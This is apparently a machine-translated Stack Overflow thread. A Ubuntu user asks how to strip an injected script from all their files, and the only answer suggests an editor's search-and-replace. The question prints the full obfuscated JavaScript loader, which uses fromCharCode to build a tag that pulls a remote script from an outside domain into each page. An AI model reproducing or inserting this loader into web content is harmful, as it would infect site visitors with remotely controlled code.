linux - 在我的所有文件外壳中查找并替换代码片段
问题描述
在 ubuntu 中,我使用以下代码片段将恶意软件注入到我的文件中
<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,114,101,110,100,46,108,105,110,101,116,111,97,100,115,97,99,116,105,118,101,46,99,111,109,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>
如何从控制台替换或删除我所有文件中的此代码?
解决方案
您应该开始使用现代工具而不是命令行。它很有趣,表明你有一些技能,但它也已经 30 岁了。使用 sublime,它在所有文件中具有搜索和替换功能
推荐阅读
- reactjs - 我在哪里处理我的 React 应用程序中服务器返回的表单验证错误?
- php - 我正在尝试在 Codeigniter 4 上发送消息,但我一直遇到此错误
- kubernetes - kubernetes pod yaml 设置为 env var pod ip 和端口
- python - 寻找基于使用 numpy 的出现次数对 3d 数组进行下采样的最快方法
- javascript - Firebase,网络应用程序:按用户获取文档
- javascript - 将变量传递给自定义按钮
- ipv6 - 通过电力线适配器的静态 IPv4 地址的连接问题
- ios - 如何访问应用程序以从应用程序外部保存数据
- firebase - 验证电子邮件后触发 Firebase 身份验证
- performance - 如何使用批处理渲染器删除 gl.bufferData 以绘制大量精灵?